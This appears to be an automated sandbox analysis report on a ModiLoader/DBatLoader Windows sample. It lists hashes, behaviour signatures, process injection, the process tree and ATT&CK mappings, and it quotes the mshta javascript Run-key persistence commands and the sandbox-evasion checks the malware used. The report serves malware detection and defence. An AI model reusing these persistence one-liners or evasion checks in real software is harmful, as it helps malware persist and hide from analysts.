Analysis
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max time kernel
150s -
max time network
154s -
platform
windows7_x64 -
resource
win7-20241010-en -
resource tags
arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system -
submitted
04-01-2025 16:27
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
JaffaCakes118_7aab1bc154a4883326dafdab7b2b27a0.exe
Resource
win7-20241010-en
windows7-x64
18 signatures
150 seconds
Behavioral task
behavioral2
Sample
JaffaCakes118_7aab1bc154a4883326dafdab7b2b27a0.exe
Resource
win10v2004-20241007-en
windows10-2004-x64
18 signatures
150 seconds
General
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Target
JaffaCakes118_7aab1bc154a4883326dafdab7b2b27a0.exe
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Size
284KB
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MD5
7aab1bc154a4883326dafdab7b2b27a0
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SHA1
dee7d97a339a09d5bad5afc3024cd3c9ae83a346
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SHA256
baed69729f713c587531e876036d332ed17ee8a6865e28440615e41ca4514022
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SHA512
04e363fecbd448bfdcbdf1563ac5838ef8495fc9789a7761b61e8b51fdf3e495662d94fd291b1d3dea631179261459a42ecf737ab828975db3d06620443bf36a
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SSDEEP
6144:SbAkul2Yb/P0A9Y3HCQX4BVIuhS5v19fCSFxuo:Nkur/P0A9Y3iV5hCvLCSfH
Score
10/10
Malware Config
Signatures
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ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
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Modiloader family
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Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
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Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions regsvr32.exe -
ModiLoader Second Stage 40 IoCs
resource yara_rule behavioral1/memory/2196-2-0x0000000000400000-0x0000000000438000-memory.dmp modiloader_stage2 behavioral1/memory/2196-7-0x0000000000400000-0x0000000000438000-memory.dmp modiloader_stage2 behavioral1/memory/2196-8-0x00000000006C0000-0x000000000078C000-memory.dmp modiloader_stage2 behavioral1/memory/2196-9-0x00000000006C0000-0x000000000078C000-memory.dmp modiloader_stage2 behavioral1/memory/2196-12-0x00000000006C0000-0x000000000078C000-memory.dmp modiloader_stage2 behavioral1/memory/2196-13-0x00000000006C0000-0x000000000078C000-memory.dmp modiloader_stage2 behavioral1/memory/2196-11-0x00000000006C0000-0x000000000078C000-memory.dmp modiloader_stage2 behavioral1/memory/2196-10-0x00000000006C0000-0x000000000078C000-memory.dmp modiloader_stage2 behavioral1/memory/2196-14-0x00000000006C0000-0x000000000078C000-memory.dmp modiloader_stage2 behavioral1/memory/2872-26-0x00000000001A0000-0x000000000026C000-memory.dmp modiloader_stage2 behavioral1/memory/2872-28-0x00000000001A0000-0x000000000026C000-memory.dmp modiloader_stage2 behavioral1/memory/2872-27-0x00000000001A0000-0x000000000026C000-memory.dmp modiloader_stage2 behavioral1/memory/2872-29-0x00000000001A0000-0x000000000026C000-memory.dmp modiloader_stage2 behavioral1/memory/2872-31-0x00000000001A0000-0x000000000026C000-memory.dmp modiloader_stage2 behavioral1/memory/2872-33-0x00000000001A0000-0x000000000026C000-memory.dmp modiloader_stage2 behavioral1/memory/2840-42-0x0000000000270000-0x000000000033C000-memory.dmp modiloader_stage2 behavioral1/memory/2840-43-0x0000000000270000-0x000000000033C000-memory.dmp modiloader_stage2 behavioral1/memory/2840-47-0x0000000000270000-0x000000000033C000-memory.dmp modiloader_stage2 behavioral1/memory/2840-44-0x0000000000270000-0x000000000033C000-memory.dmp modiloader_stage2 behavioral1/memory/2840-45-0x0000000000270000-0x000000000033C000-memory.dmp modiloader_stage2 behavioral1/memory/2840-46-0x0000000000270000-0x000000000033C000-memory.dmp modiloader_stage2 behavioral1/memory/2840-48-0x0000000000270000-0x000000000033C000-memory.dmp modiloader_stage2 behavioral1/memory/2840-49-0x0000000000270000-0x000000000033C000-memory.dmp modiloader_stage2 behavioral1/memory/2840-56-0x0000000000270000-0x000000000033C000-memory.dmp modiloader_stage2 behavioral1/memory/2840-55-0x0000000000270000-0x000000000033C000-memory.dmp modiloader_stage2 behavioral1/memory/2840-54-0x0000000000270000-0x000000000033C000-memory.dmp modiloader_stage2 behavioral1/memory/2840-53-0x0000000000270000-0x000000000033C000-memory.dmp modiloader_stage2 behavioral1/memory/2840-52-0x0000000000270000-0x000000000033C000-memory.dmp modiloader_stage2 behavioral1/memory/2840-51-0x0000000000270000-0x000000000033C000-memory.dmp modiloader_stage2 behavioral1/memory/2840-50-0x0000000000270000-0x000000000033C000-memory.dmp modiloader_stage2 behavioral1/memory/1960-64-0x00000000001A0000-0x000000000026C000-memory.dmp modiloader_stage2 behavioral1/memory/1960-65-0x00000000001A0000-0x000000000026C000-memory.dmp modiloader_stage2 behavioral1/memory/1960-63-0x00000000001A0000-0x000000000026C000-memory.dmp modiloader_stage2 behavioral1/memory/1960-62-0x00000000001A0000-0x000000000026C000-memory.dmp modiloader_stage2 behavioral1/memory/1960-61-0x00000000001A0000-0x000000000026C000-memory.dmp modiloader_stage2 behavioral1/memory/1960-60-0x00000000001A0000-0x000000000026C000-memory.dmp modiloader_stage2 behavioral1/memory/2840-66-0x0000000000270000-0x000000000033C000-memory.dmp modiloader_stage2 behavioral1/memory/2840-67-0x0000000000270000-0x000000000033C000-memory.dmp modiloader_stage2 behavioral1/memory/1664-72-0x00000000001F0000-0x00000000002BC000-memory.dmp modiloader_stage2 behavioral1/memory/1664-71-0x00000000001F0000-0x00000000002BC000-memory.dmp modiloader_stage2 -
Adds policy Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:dV0YEQdF=\"8G\";K0l=new%20ActiveXObject(\"WScript.Shell\");tmL9CWAlZ=\"I0W\";nEaH0=K0l.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\5745a8cbac\\\\6407e366\");iBiXDm9=\"cHCs\";eval(nEaH0);PycJw3El=\"lmcP\";" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run regsvr32.exe -
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools regsvr32.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion regsvr32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion regsvr32.exe -
Deletes itself 1 IoCs
pid Process 2840 regsvr32.exe -
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:RqJlNgH7=\"f\";yR5=new%20ActiveXObject(\"WScript.Shell\");BD1KrRJie6=\"Rgv\";CXzw1=yR5.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\5745a8cbac\\\\6407e366\");lmXeCjU5m=\"0Y\";eval(CXzw1);jUhkLGTy2=\"0IbLH\";" regsvr32.exe Set value (str) \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:Zp2FW6oWt=\"3c2PD9LA\";gH5=new%20ActiveXObject(\"WScript.Shell\");FEAbQ3k=\"YC\";NW7Kx=gH5.RegRead(\"HKCU\\\\software\\\\5745a8cbac\\\\6407e366\");Jn0JuLVlr=\"wZAKwo\";eval(NW7Kx);Au7FSCAH1z=\"xc3c\";" regsvr32.exe -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum regsvr32.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 regsvr32.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2188 set thread context of 2196 2188 JaffaCakes118_7aab1bc154a4883326dafdab7b2b27a0.exe 31 PID 2188 set thread context of 2196 2188 JaffaCakes118_7aab1bc154a4883326dafdab7b2b27a0.exe 31 -
System Location Discovery: System Language Discovery 1 TTPs 6 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language regsvr32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language regsvr32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language regsvr32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language JaffaCakes118_7aab1bc154a4883326dafdab7b2b27a0.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language JaffaCakes118_7aab1bc154a4883326dafdab7b2b27a0.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language regsvr32.exe -
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION regsvr32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0" regsvr32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\International regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION regsvr32.exe Set value (int) \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0" regsvr32.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe -
Suspicious behavior: MapViewOfSection 12 IoCs
pid Process 2196 JaffaCakes118_7aab1bc154a4883326dafdab7b2b27a0.exe 2196 JaffaCakes118_7aab1bc154a4883326dafdab7b2b27a0.exe 2196 JaffaCakes118_7aab1bc154a4883326dafdab7b2b27a0.exe 2872 regsvr32.exe 2872 regsvr32.exe 2872 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe 2840 regsvr32.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 2188 JaffaCakes118_7aab1bc154a4883326dafdab7b2b27a0.exe -
Suspicious use of WriteProcessMemory 40 IoCs
description pid Process procid_target PID 2188 wrote to memory of 2196 2188 JaffaCakes118_7aab1bc154a4883326dafdab7b2b27a0.exe 31 PID 2188 wrote to memory of 2196 2188 JaffaCakes118_7aab1bc154a4883326dafdab7b2b27a0.exe 31 PID 2188 wrote to memory of 2196 2188 JaffaCakes118_7aab1bc154a4883326dafdab7b2b27a0.exe 31 PID 2188 wrote to memory of 2196 2188 JaffaCakes118_7aab1bc154a4883326dafdab7b2b27a0.exe 31 PID 2188 wrote to memory of 2196 2188 JaffaCakes118_7aab1bc154a4883326dafdab7b2b27a0.exe 31 PID 2188 wrote to memory of 2196 2188 JaffaCakes118_7aab1bc154a4883326dafdab7b2b27a0.exe 31 PID 2188 wrote to memory of 2196 2188 JaffaCakes118_7aab1bc154a4883326dafdab7b2b27a0.exe 31 PID 2188 wrote to memory of 2196 2188 JaffaCakes118_7aab1bc154a4883326dafdab7b2b27a0.exe 31 PID 2188 wrote to memory of 2196 2188 JaffaCakes118_7aab1bc154a4883326dafdab7b2b27a0.exe 31 PID 2188 wrote to memory of 2196 2188 JaffaCakes118_7aab1bc154a4883326dafdab7b2b27a0.exe 31 PID 2188 wrote to memory of 2196 2188 JaffaCakes118_7aab1bc154a4883326dafdab7b2b27a0.exe 31 PID 2188 wrote to memory of 2196 2188 JaffaCakes118_7aab1bc154a4883326dafdab7b2b27a0.exe 31 PID 2196 wrote to memory of 2872 2196 JaffaCakes118_7aab1bc154a4883326dafdab7b2b27a0.exe 32 PID 2196 wrote to memory of 2872 2196 JaffaCakes118_7aab1bc154a4883326dafdab7b2b27a0.exe 32 PID 2196 wrote to memory of 2872 2196 JaffaCakes118_7aab1bc154a4883326dafdab7b2b27a0.exe 32 PID 2196 wrote to memory of 2872 2196 JaffaCakes118_7aab1bc154a4883326dafdab7b2b27a0.exe 32 PID 2196 wrote to memory of 2872 2196 JaffaCakes118_7aab1bc154a4883326dafdab7b2b27a0.exe 32 PID 2196 wrote to memory of 2872 2196 JaffaCakes118_7aab1bc154a4883326dafdab7b2b27a0.exe 32 PID 2196 wrote to memory of 2872 2196 JaffaCakes118_7aab1bc154a4883326dafdab7b2b27a0.exe 32 PID 2872 wrote to memory of 2840 2872 regsvr32.exe 33 PID 2872 wrote to memory of 2840 2872 regsvr32.exe 33 PID 2872 wrote to memory of 2840 2872 regsvr32.exe 33 PID 2872 wrote to memory of 2840 2872 regsvr32.exe 33 PID 2872 wrote to memory of 2840 2872 regsvr32.exe 33 PID 2872 wrote to memory of 2840 2872 regsvr32.exe 33 PID 2872 wrote to memory of 2840 2872 regsvr32.exe 33 PID 2840 wrote to memory of 1960 2840 regsvr32.exe 34 PID 2840 wrote to memory of 1960 2840 regsvr32.exe 34 PID 2840 wrote to memory of 1960 2840 regsvr32.exe 34 PID 2840 wrote to memory of 1960 2840 regsvr32.exe 34 PID 2840 wrote to memory of 1960 2840 regsvr32.exe 34 PID 2840 wrote to memory of 1960 2840 regsvr32.exe 34 PID 2840 wrote to memory of 1960 2840 regsvr32.exe 34 PID 2840 wrote to memory of 1664 2840 regsvr32.exe 35 PID 2840 wrote to memory of 1664 2840 regsvr32.exe 35 PID 2840 wrote to memory of 1664 2840 regsvr32.exe 35 PID 2840 wrote to memory of 1664 2840 regsvr32.exe 35 PID 2840 wrote to memory of 1664 2840 regsvr32.exe 35 PID 2840 wrote to memory of 1664 2840 regsvr32.exe 35 PID 2840 wrote to memory of 1664 2840 regsvr32.exe 35
Processes
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C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_7aab1bc154a4883326dafdab7b2b27a0.exe"C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_7aab1bc154a4883326dafdab7b2b27a0.exe"1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2188 -
C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_7aab1bc154a4883326dafdab7b2b27a0.exe"C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_7aab1bc154a4883326dafdab7b2b27a0.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2196 -
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2872 -
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe4⤵
- Looks for VirtualBox Guest Additions in registry
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2840 -
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\SysWOW64\regsvr32.exe"5⤵
- System Location Discovery: System Language Discovery
PID:1960
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C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\SysWOW64\regsvr32.exe"5⤵
- System Location Discovery: System Language Discovery
PID:1664
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Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2